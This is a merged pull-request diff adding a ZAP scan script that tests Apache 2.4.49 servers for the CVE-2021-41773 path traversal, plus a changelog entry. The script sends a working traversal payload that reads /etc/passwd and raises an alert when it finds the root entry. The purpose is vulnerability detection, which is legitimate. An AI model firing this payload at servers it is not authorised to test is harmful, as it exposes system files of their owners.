Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- authentication/OfflineTokenRefresh.js - refresh oauth2 offline tokens
- httpsender/AddBearerTokenHeader.js - refresh oauth2 offline tokens
- targeted/WordPress Username Enumeration.js - A targeted script to check for WordPress Username Enumeration via author archives
- targeted/cve-2021-41773-apache-path-trav.js - an active scan script to test for Apache 2.4.49 CVE-2021-41773 path traversal.

### Changed
- Update minimum ZAP version to 2.11.0.
Expand Down
94 changes: 94 additions & 0 deletions targeted/cve-2021-41773-apache-path-trav.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
/**
* Scan rule for Apache 2.4.49 path traversal CVE-2021-41773.
* Based on: https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
*/

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
var Model = Java.type("org.parosproxy.paros.model.Model")
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
var Control = Java.type("org.parosproxy.paros.control.Control")
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
var session = Model.getSingleton().getSession();

// Print Statements using script name
function logger() {
print("[" + this["zap.script.name"] + "] " + arguments[0]);
}

/**
* A function which will be invoked against a specific "targeted" message.
*
* @param msg - the HTTP message being acted upon. This is an HttpMessage object.
*/
function invokeWith(msg) {

var url = msg.getRequestHeader().getURI().toString();
var alertName = "Apache Path Traversal - CVE-2021-41773"
var alertDesc = "[CVE-2021-41773]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. " +
"An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
"of the document root are not protected by \"require all denied\" these requests can succeed. Additionally this flaw could " +
"leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
"affects Apache 2.4.49 and not earlier versions."
var alertSol = "Upgrade to Apache 2.4.50 or newer."
var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41773"
var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
var wascId = 33; // Path Traversal

var attackPath = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd";

// To check if script is running
logger("Testing Script against URL - " + url);

msg.getRequestHeader().getURI().setPath(attackPath);
var connectionParams = Model.getSingleton().getOptionsParam().getConnectionParam();
var sender = new HttpSender(connectionParams, true, 6);
sender.sendAndReceive(msg);
var status = msg.getResponseHeader().getStatusCode();
var rebody = msg.getResponseBody().toString();
var re = /root\:x\:0\:0\:root/g

// Checks to make sure that the response indicates the test was successful
if (status === 200 && re.test(rebody)) {
re.lastIndex = 0
var alertEvidence = re.exec(rebody);
customAlert(
pluginid,
3, // risk: 0: info, 1: low, 2: medium, 3: high
3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
alertName,
alertDesc,
attackPath,
alertEvidence,
alertSol,
alertReference,
cweId,
wascId,
msg,
url
);
};
logger("Script run completed.");
}

/**
* Raise an alert.
* @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
*/
function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url) {
var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);

var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName);
alert.setDescription(alertDesc);
alert.setAttack(alertAttack);
alert.setEvidence(alertEvidence);
alert.setSolution(alertSol);
alert.setReference(alertReference);
alert.setCweId(cweId);
alert.setWascId(wascId);
alert.setMessage(msg);
alert.setUri(url);

extensionAlert.alertFound(alert, ref);
}